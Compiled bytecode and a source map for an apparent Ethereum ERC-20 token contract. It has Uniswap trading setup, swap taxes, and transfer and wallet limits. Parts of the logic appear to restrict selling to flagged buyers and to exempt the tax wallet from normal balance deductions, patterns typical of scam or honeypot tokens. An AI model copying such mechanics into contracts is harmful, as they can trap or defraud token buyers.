039091168152602001610142565b348015610299575f80fd5b5061018e600a5481565b3480156102ae575f80fd5b5061023361045b565b3480156102c2575f80fd5b5061018e60095481565b3480156102d7575f80fd5b5061016a6102e636600461143a565b610510565b3480156102f6575f80fd5b5061023361051c565b34801561030a575f80fd5b5061018e6103193660046114bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f61034f338484610876565b5060015b92915050565b5f6103666009600a6115e8565b61037490633b9aca006115f6565b905090565b5f610385848484610999565b6103d684336103d18560405180606001604052806028815260200161178a602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611076565b610876565b5060015b9392505050565b5f546001600160a01b031633146104135760405162461bcd60e51b815260040161040a9061160d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161040a9061160d565b6104906009600a6115e8565b61049e90633b9aca006115f6565b60099081556104ae90600a6115e8565b6104bc90633b9aca006115f6565b600a9081557f6af724412f58f04fa3368be7f435492ac9b287e8289fd7f758317b0854347171906104ef906009906115e8565b6104fd90633b9aca006115f6565b60405190815260200160405180910390a1565b5f61034f338484610999565b5f546001600160a01b031633146105455760405162461bcd60e51b815260040161040a9061160d565b60155460ff1615610554575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059d90309061058f6009600a6115e8565b6103d190633b9aca006115f6565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106119190611644565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610670573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106949190611644565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107029190611644565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610749816001600160a01b03165f9081526004602052604090205490565b5f8061075c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e7919061165f565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561083c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610860919061168a565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166108d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040a565b6001600160a01b0382166109395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040a565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040a565b6001600160a01b038216610a5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040a565b5f8111610ac05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040a565b5f80546001600160a01b03858116911614801590610aeb57505f546001600160a01b03848116911614155b15610f3757601554610100900460ff1615610bac576001546001600160a01b03848116911614801590610b2c57506003546001600160a01b03848116911614155b15610bac57325f908152600860205260409020544311610b9a5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161040a565b325f9081526008602052604090204390555b6003546001600160a01b038581169116148015610bd757506001546001600160a01b03848116911614155b8015610bfb57506001600160a01b0383165f9081526006602052604090205460ff16155b15610d3b57600954821115610c4a5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8b8353b30b8321760591b604482015260640161040a565b600a5482610c6c856001600160a01b03165f9081526004602052604090205490565b610c7691906116a9565b1115610cbc5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a34329036b0b1bc34bd39b29760591b604482015260640161040a565b6013546014541015610cd357823b15610cd3575f80fd5b60148054905f610ce2836116bc565b90915550506001600160a01b0383165f908152600760205260409020805460ff19166001179055601154601454610d3891606491610d329110610d2757600d54610d2b565b600f545b85906110ae565b9061110d565b90505b6003546001600160a01b038481169116148015610d6157506001600160a01b0384163014155b8015610d8557506001600160a01b0384165f9081526006602052604090205460ff16155b15610e53576009548211158015610db65750600c546002546001600160a01b03165f90815260046020526040902054105b610dfa5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8b8353b30b8321760591b604482015260640161040a565b610e1f6064610d3260125460145411610e1557600e54610d2b565b60105485906110ae565b9050601354601454118015610e4b57506001600160a01b0384165f9081526007602052604090205460ff165b610e53575f80fd5b305f9081526004602052604090205460155462010000900460ff16158015610e8857506003546001600160a01b038581169116145b8015610e9d57506015546301000000900460ff165b8015610eaa5750600b5481115b8015610eb95750601354601454115b8015610edd57506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f0157506001600160a01b0385165f9081526006602052604090205460ff16155b15610f3557610f23610f1e84610f1984600c54611139565b611139565b61114d565b478015610f3357610f33476112cc565b505b505b8015610faf57305f90815260046020526040902054610f569082611307565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260046020526040902054610fd390859084611350565b6001600160a01b0385165f90815260046020526040902055611016610ff88383611380565b6001600160a01b0385165f9081526004602052604090205490611307565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105f8585611380565b60405190815260200160405180910390a350505050565b5f81848411156110995760405162461bcd60e51b815260040161040a91906113d8565b505f6110a584866116d4565b95945050505050565b5f825f036110bd57505f610353565b5f6110c883856115f6565b9050826110d585836116e7565b146103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113ac565b5f81831161114757826103da565b50919050565b6015805462ff000019166201000017905580156112bd5760155460ff16156112bd576040805160028082526060820183525f9260208301908036833701905050905030815f815181106111a2576111a2611706565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121d9190611644565b8160018151811061123057611230611706565b6001600160a01b0392831660209182029290920101526001546112569130911684610876565b60015460405163fb4652cb60e01b81526001600160a01b039091169063fb4652cb9061128e9085905f9086903090429060040161171a565b5f604051808303815f87803b1580156112a5575f80fd5b505af11580156112b7573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611303573d5f803e3d5ffd5b5050565b5f8061131383856116a9565b9050838110156103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b6002545f906001600160a01b039081169085160361136f5750816103da565b6113798383611380565b90506103da565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611076565b5f81836113cc5760405162461bcd60e51b815260040161040a91906113d8565b505f6110a584866116e7565b5f6020808352835180828501525f5b81811015611403578581018301518582016040015282016113e7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611437575f80fd5b50565b5f806040838503121561144b575f80fd5b823561145681611423565b946020939093013593505050565b5f805f60608486031215611476575f80fd5b833561148181611423565b9250602084013561149181611423565b929592945050506040919091013590565b5f602082840312156114b2575f80fd5b81356103da81611423565b5f80604083850312156114ce575f80fd5b82356114d981611423565b915060208301356114e981611423565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561154257815f1904821115611528576115286114f4565b8085161561153557918102915b93841c939080029061150d565b509250929050565b5f8261155857506001610353565b8161156457505f610353565b816001811461157a5760028114611584576115a0565b6001915050610353565b60ff841115611595576115956114f4565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115c3575081810a610353565b6115cd8383611508565b805f19048211156115e0576115e06114f4565b029392505050565b5f6103da60ff84168361154a565b8082028115828204841417610353576103536114f4565b6020808252601a908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865000000000000604082015260600190565b5f60208284031215611654575f80fd5b81516103da81611423565b5f805f60608486031215611671575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561169a575f80fd5b815180151581146103da575f80fd5b80820180821115610353576103536114f4565b5f600182016116cd576116cd6114f4565b5060010190565b81810381811115610353576103536114f4565b5f8261170157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117685784516001600160a01b031683529383019391830191600101611743565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034752edae14229e48d2b7ec52decd9a2be64c1cb49917b6332be6d8c813447e264736f6c63430008140033

Deployed Bytecode Sourcemap

3702:9655:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5576:83;;;;;;;;;;-1:-1:-1;5646:5:0;;;;;;;;;;;-1:-1:-1;;;5646:5:0;;;;5576:83;;;;5646:5;5576:83;:::i;:::-;;;;;;;;6413:161;;;;;;;;;;-1:-1:-1;6413:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6413:161:0;1023:187:1;5853:97:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5853:97:0;1215:177:1;6582:317:0;;;;;;;;;;-1:-1:-1;6582:317:0;;;;;:::i;:::-;;:::i;4465:34::-;;;;;;;;;;;;;;;;5762:83;;;;;;;;;;-1:-1:-1;5762:83:0;;4018:1;2000:36:1;;1988:2;1973:18;5762:83:0;1858:184:1;5958:119:0;;;;;;;;;;-1:-1:-1;5958:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6051:18:0;6024:7;6051:18;;;:9;:18;;;;;;;5958:119;2776:148;;;;;;;;;;;;;:::i;:::-;;4506:34;;;;;;;;;;;;;;;;4884:28;;;;;;;;;;-1:-1:-1;4884:28:0;;;;;;;;;;;2568:79;;;;;;;;;;-1:-1:-1;2606:7:0;2633:6;2568:79;;-1:-1:-1;;;;;2633:6:0;;;2445:51:1;;2433:2;2418:18;2568:79:0;2299:203:1;4423:35:0;;;;;;;;;;;;;;;;11939:165;;;;;;;;;;;;;:::i;4381:35::-;;;;;;;;;;;;;;;;6085:167;;;;;;;;;;-1:-1:-1;6085:167:0;;;;;:::i;:::-;;:::i;12492:825::-;;;;;;;;;;;;;:::i;6260:145::-;;;;;;;;;;-1:-1:-1;6260:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6369:19:0;;;6342:7;6369:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6260:145;6413:161;6488:4;6505:39;2225:10;6528:7;6537:6;6505:8;:39::i;:::-;-1:-1:-1;6562:4:0;6413:161;;;;;:::o;5853:97::-;5906:7;4076:14;4018:1;4076:2;:14;:::i;:::-;4063:27;;:10;:27;:::i;:::-;5926:16;;5853:97;:::o;6582:317::-;6680:4;6697:36;6707:6;6715:9;6726:6;6697:9;:36::i;:::-;6744:125;6753:6;2225:10;6775:93;6817:6;6775:93;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6775:19:0;;;;;;:11;:19;;;;;;;;2225:10;6775:33;;;;;;;;;;:41;:93::i;:::-;6744:8;:125::i;:::-;-1:-1:-1;6887:4:0;6582:317;;;;;;:::o;2776:148::-;2695:6;;-1:-1:-1;;;;;2695:6:0;2225:10;2695:22;2687:61;;;;-1:-1:-1;;;2687:61:0;;;;;;;:::i;:::-;;;;;;;;;2883:1:::1;2867:6:::0;;2846:40:::1;::::0;-1:-1:-1;;;;;2867:6:0;;::::1;::::0;2846:40:::1;::::0;2883:1;;2846:40:::1;2914:1;2897:19:::0;;-1:-1:-1;;;;;;2897:19:0::1;::::0;;2776:148::o;11939:165::-;2695:6;;-1:-1:-1;;;;;2695:6:0;2225:10;2695:22;2687:61;;;;-1:-1:-1;;;2687:61:0;;;;;;;:::i;:::-;4076:14:::1;4018:1;4076:2;:14;:::i;:::-;4063:27;::::0;:10:::1;:27;:::i;:::-;12010:8;:20:::0;;;4076:14:::1;::::0;:2:::1;:14;:::i;:::-;4063:27;::::0;:10:::1;:27;:::i;:::-;12041:8;:20:::0;;;12077:19:::1;::::0;4076:14:::1;::::0;4018:1:::1;::::0;4076:14:::1;:::i;:::-;4063:27;::::0;:10:::1;:27;:::i;:::-;12077:19;::::0;1361:25:1;;;1349:2;1334:18;12077:19:0::1;;;;;;;11939:165::o:0;6085:167::-;6163:4;6180:42;2225:10;6204:9;6215:6;6180:9;:42::i;12492:825::-;2695:6;;-1:-1:-1;;;;;2695:6:0;2225:10;2695:22;2687:61;;;;-1:-1:-1;;;2687:61:0;;;;;;;:::i;:::-;12585:7:::1;::::0;::::1;;12583:9;12560:34;;;::::0;::::1;;12606:7;:92:::0;;-1:-1:-1;;;;;;12606:92:0::1;12655:42;12606:92:::0;;::::1;::::0;;;12709:90:::1;::::0;12736:4:::1;::::0;4076:14:::1;4018:1;4076:2;:14;:::i;:::-;4063:27;::::0;:10:::1;:27;:::i;12709:90::-;12837:7;;;;;;;;;-1:-1:-1::0;;;;;12837:7:0::1;-1:-1:-1::0;;;;;12837:25:0::1;;:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12830:59:0::1;;12913:4;12935:7;;;;;;;;;-1:-1:-1::0;;;;;12935:7:0::1;-1:-1:-1::0;;;;;12935:28:0::1;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12830:139;::::0;-1:-1:-1;;;;;;12830:139:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;12830:139:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;12830:139:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12810:7;:159:::0;;-1:-1:-1;;;;;12810:159:0;;::::1;-1:-1:-1::0;;;;;;12810:159:0;;::::1;;::::0;;;12980:7;::::1;:23;13021:31;13072:4;13088:34;13072:4:::0;-1:-1:-1;;;;;6051:18:0;6024:7;6051:18;;;:9;:18;;;;;;;5958:119;13088:34:::1;13123:1;13125::::0;13127:7:::1;2606::::0;2633:6;-1:-1:-1;;;;;2633:6:0;;2568:79;13127:7:::1;12980:181;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12980:181:0;;;-1:-1:-1;;;;;5867:15:1;;;12980:181:0::1;::::0;::::1;5849:34:1::0;5899:18;;;5892:34;;;;5942:18;;;5935:34;;;;5985:18;;;5978:34;6049:15;;;6028:19;;;6021:44;13135:25:0::1;6081:19:1::0;;;6074:35;5783:19;;12980:181:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13179:7:0::1;::::0;;13214;13172:87:::1;::::0;-1:-1:-1;;;13172:87:0;;-1:-1:-1;;;;;13214:7:0;;::::1;13172:87;::::0;::::1;6605:51:1::0;-1:-1:-1;;6672:18:1;;;6665:34;13179:7:0;::::1;::::0;-1:-1:-1;13172:33:0::1;::::0;6578:18:1;;13172:87:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13270:7:0::1;:14:::0;;-1:-1:-1;;13295:14:0;;;;;12492:825::o;6907:339::-;-1:-1:-1;;;;;7001:20:0;;6993:69;;;;-1:-1:-1;;;6993:69:0;;7194:2:1;6993:69:0;;;7176:21:1;7233:2;7213:18;;;7206:30;7272:34;7252:18;;;7245:62;-1:-1:-1;;;7323:18:1;;;7316:34;7367:19;;6993:69:0;6992:400:1;6993:69:0;-1:-1:-1;;;;;7081:21:0;;7073:68;;;;-1:-1:-1;;;7073:68:0;;7599:2:1;7073:68:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:34;7657:18;;;7650:62;-1:-1:-1;;;7728:18:1;;;7721:32;7770:19;;7073:68:0;7397:398:1;7073:68:0;-1:-1:-1;;;;;7152:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7205:33;;1361:25:1;;;7205:33:0;;1334:18:1;7205:33:0;;;;;;;6907:339;;;:::o;7254:3591::-;-1:-1:-1;;;;;7342:18:0;;7334:68;;;;-1:-1:-1;;;7334:68:0;;8002:2:1;7334:68:0;;;7984:21:1;8041:2;8021:18;;;8014:30;8080:34;8060:18;;;8053:62;-1:-1:-1;;;8131:18:1;;;8124:35;8176:19;;7334:68:0;7800:401:1;7334:68:0;-1:-1:-1;;;;;7421:16:0;;7413:64;;;;-1:-1:-1;;;7413:64:0;;8408:2:1;7413:64:0;;;8390:21:1;8447:2;8427:18;;;8420:30;8486:34;8466:18;;;8459:62;-1:-1:-1;;;8537:18:1;;;8530:33;8580:19;;7413:64:0;8206:399:1;7413:64:0;7505:1;7496:6;:10;7488:64;;;;-1:-1:-1;;;7488:64:0;;8812:2:1;7488:64:0;;;8794:21:1;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:1;;;8934:39;8990:19;;7488:64:0;8610:405:1;7488:64:0;7563:15;2633:6;;-1:-1:-1;;;;;7595:26:0;;;2633:6;;7595:26;;;;:56;;-1:-1:-1;2606:7:0;2633:6;-1:-1:-1;;;;;7625:26:0;;;2633:6;;7625:26;;7595:56;7591:2713;;;7675:8;;;;;;;7671:489;;;7758:7;;-1:-1:-1;;;;;7708:58:0;;;7758:7;;7708:58;;;;:139;;-1:-1:-1;7839:7:0;;-1:-1:-1;;;;;7788:59:0;;;7839:7;;7788:59;;7708:139;7704:441;;;7906:9;7878:38;;;;:7;:38;;;;;;7939:12;-1:-1:-1;7870:161:0;;;;-1:-1:-1;;;7870:161:0;;9222:2:1;7870:161:0;;;9204:21:1;9261:2;9241:18;;;9234:30;9300:34;9280:18;;;9273:62;-1:-1:-1;;;9351:18:1;;;9344:34;9395:19;;7870:161:0;9020:400:1;7870:161:0;8080:9;8052:38;;;;:7;:38;;;;;8113:12;8052:73;;7704:441;8202:7;;-1:-1:-1;;;;;8180:29:0;;;8202:7;;8180:29;:69;;;;-1:-1:-1;8241:7:0;;-1:-1:-1;;;;;8213:36:0;;;8241:7;;8213:36;;8180:69;:100;;;;-1:-1:-1;;;;;;8268:12:0;;;;;;:8;:12;;;;;;;;8267:13;8180:100;8176:791;;;8338:8;;8310:6;:36;;8302:88;;;;-1:-1:-1;;;8302:88:0;;9627:2:1;8302:88:0;;;9609:21:1;9666:2;9646:18;;;9639:30;-1:-1:-1;;;9685:18:1;;;9678:51;9746:18;;8302:88:0;9425:345:1;8302:88:0;8479:8;;8451:6;8417:31;8445:2;-1:-1:-1;;;;;6051:18:0;6024:7;6051:18;;;:9;:18;;;;;;;5958:119;8417:31;:40;;;;:::i;:::-;:70;;8409:123;;;;-1:-1:-1;;;8409:123:0;;10107:2:1;8409:123:0;;;10089:21:1;10146:2;10126:18;;;10119:30;-1:-1:-1;;;10165:18:1;;;10158:51;10226:18;;8409:123:0;9905:345:1;8409:123:0;8582:7;;8554:8;;:35;8551:123;;;12271:35;;12334:20;8611:43;;;;;;8692:8;:10;;;:8;:10;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8722:30:0;;;;;;:7;:30;;;;;:35;;-1:-1:-1;;8722:35:0;8753:4;8722:35;;;8844:14;;8817:8;;8786:165;;8947:3;;8786:138;;-1:-1:-1;8816:107:0;;8909:14;;8816:107;;;8878:12;;8816:107;8786:6;;:11;:138::i;:::-;:160;;:165::i;:::-;8776:175;;8176:791;8992:7;;-1:-1:-1;;;;;8986:13:0;;;8992:7;;8986:13;:51;;;;-1:-1:-1;;;;;;9017:20:0;;9032:4;9017:20;;8986:51;:84;;;;-1:-1:-1;;;;;;9056:14:0;;;;;;:8;:14;;;;;;;;9055:15;8986:84;8983:556;;;9127:8;;9099:6;:36;;:104;;;;-1:-1:-1;9195:8:0;;9167;;-1:-1:-1;;;;;9167:8:0;6024:7;6051:18;;;:9;:18;;;;;;9157:46;9099:104;9091:156;;;;-1:-1:-1;;;9091:156:0;;9627:2:1;9091:156:0;;;9609:21:1;9666:2;9646:18;;;9639:30;-1:-1:-1;;;9685:18:1;;;9678:51;9746:18;;9091:156:0;9425:345:1;9091:156:0;9276:150;9422:3;9276:123;9316:15;;9289:8;;:42;9288:110;;9383:15;;9288:110;;;9351:13;;9276:6;;:11;:123::i;:150::-;9266:160;;9480:7;;9453:8;;:34;:69;;;;-1:-1:-1;;;;;;9509:13:0;;;;;;:7;:13;;;;;;;;9453:69;9445:78;;;;;;9618:4;9555:28;6051:18;;;:9;:18;;;;;;9644:6;;;;;;;9643:7;:38;;;;-1:-1:-1;9674:7:0;;-1:-1:-1;;;;;9668:13:0;;;9674:7;;9668:13;9643:38;:63;;;;-1:-1:-1;9699:7:0;;;;;;;9643:63;:125;;;;;9760:8;;9724:20;:44;9643:125;:173;;;;;9809:7;;9786:8;;:30;9643:173;:203;;;;-1:-1:-1;;;;;;9834:12:0;;;;;;:8;:12;;;;;;;;9833:13;9643:203;:236;;;;-1:-1:-1;;;;;;9865:14:0;;;;;;:8;:14;;;;;;;;9864:15;9643:236;9639:654;;;9914:100;9924:89;9931:6;9957:55;9964:20;10003:8;;9957:6;:55::i;:::-;9924:6;:89::i;:::-;9914:8;:100::i;:::-;10080:39;10141:40;;10138:140;;10206:52;10214:43;10206:7;:52::i;:::-;9895:398;9639:654;7654:2650;7591:2713;10319:9;;10316:240;;10421:4;10379:48;;;;:9;:48;;;;;;:73;;10444:7;10379:64;:73::i;:::-;10372:4;10342:36;;;;:9;:36;;;;;;;:110;;;;10482:62;;-1:-1:-1;;;;;10482:62:0;;;;;;;10536:7;1361:25:1;;1349:2;1334:18;;1215:177;10482:62:0;;;;;;;;10316:240;-1:-1:-1;;;;;10616:15:0;;;;;;:9;:15;;;;;;10593:58;;10600:4;;10644:6;10593;:58::i;:::-;-1:-1:-1;;;;;10566:25:0;;;;;;:9;:25;;;;;:85;10686:62;10714:33;:6;10739:7;10714:24;:33::i;:::-;-1:-1:-1;;;;;10686:13:0;;;;;;:9;:13;;;;;;;:27;:62::i;:::-;-1:-1:-1;;;;;10662:13:0;;;;;;;:9;:13;;;;;:86;;;;10764:73;;;10803:33;:6;10828:7;10803:24;:33::i;:::-;10764:73;;1361:25:1;;;1349:2;1334:18;10764:73:0;;;;;;;7323:3522;7254:3591;;;:::o;1360:194::-;1450:7;1486:12;1478:6;;;;1470:29;;;;-1:-1:-1;;;1470:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1510:9:0;1522:5;1526:1;1522;:5;:::i;:::-;1510:17;1360:194;-1:-1:-1;;;;;1360:194:0:o;1562:222::-;1621:7;1645:1;1650;1645:6;1641:47;;-1:-1:-1;1675:1:0;1668:8;;1641:47;1698:9;1710:5;1714:1;1710;:5;:::i;:::-;1698:17;-1:-1:-1;1743:1:0;1734:5;1738:1;1698:17;1734:5;:::i;:::-;:10;1726:31;;;;-1:-1:-1;;;1726:31:0;;10952:2:1;1726:31:0;;;10934:21:1;10991:1;10971:18;;;10964:29;-1:-1:-1;;;11009:18:1;;;11002:38;11057:18;;1726:31:0;10750:331:1;1792:114:0;1850:7;1877:21;1881:1;1884;1877:21;;;;;;;;;;;;;-1:-1:-1;;;1877:21:0;;;:3;:21::i;11507:155::-;11599:7;11629:1;11625;:5;11623:30;;11652:1;11623:30;;;-1:-1:-1;11648:1:0;11507:155;-1:-1:-1;11507:155:0:o;10853:646::-;5055:6;:13;;-1:-1:-1;;5055:13:0;;;;;10931:37;;10960:7:::1;10931:37;10982:7;::::0;::::1;;10978:31:::0;11001:7:::1;10978:31;11065:16;::::0;;11079:1:::1;11065:16:::0;;;;;::::1;::::0;;11019:33:::1;::::0;11065:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11065:16:0::1;11019:62;;11120:4;11092;11097:1;11092:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11092:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:33;;;;11156:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;11156:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;11092:7;;11156:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11136:4;11141:1;11136:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11136:34:0;;::::1;:7;::::0;;::::1;::::0;;;;;:34;11238:7:::1;::::0;11181:94:::1;::::0;11198:4:::1;::::0;11238:7:::1;11263:11:::0;11181:8:::1;:94::i;:::-;11286:7;::::0;:205:::1;::::0;-1:-1:-1;;;11286:205:0;;-1:-1:-1;;;;;11286:7:0;;::::1;::::0;:37:::1;::::0;:205:::1;::::0;11348:11;;11286:7:::1;::::0;11390:4;;11431::::1;::::0;11451:29:::1;::::0;11286:205:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10920:579;5079:1;-1:-1:-1::0;5091:6:0;:14;;-1:-1:-1;;5091:14:0;;;10853:646::o;12370:114::-;12427:8;;:49;;-1:-1:-1;;;;;12427:8:0;;;;:49;;;;;12469:6;;12427:8;:49;:8;:49;12469:6;12427:8;:49;;;;;;;;;;;;;;;;;;;;;12370:114;:::o;1062:160::-;1120:7;;1152:5;1156:1;1152;:5;:::i;:::-;1140:17;;1181:1;1176;:6;;1168:27;;;;-1:-1:-1;;;1168:27:0;;10952:2:1;1168:27:0;;;10934:21:1;10991:1;10971:18;;;10964:29;-1:-1:-1;;;11009:18:1;;;11002:38;11057:18;;1168:27:0;10750:331:1;11670:261:0;11813:8;;11773:7;;-1:-1:-1;;;;;11813:8:0;;;11795:26;;;;11792:132;;-1:-1:-1;11844:1:0;11837:8;;11792:132;11884:28;:1;11910;11884:24;:28::i;:::-;11877:35;;;;1230:122;1292:7;1320:24;1327:1;1330;1320:24;;;;;;;;;;;;;-1:-1:-1;;;1320:24:0;;;:6;:24::i;1914:189::-;2000:7;2035:12;2028:5;2020:28;;;;-1:-1:-1;;;2020:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2059:9:0;2071:5;2075:1;2071;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;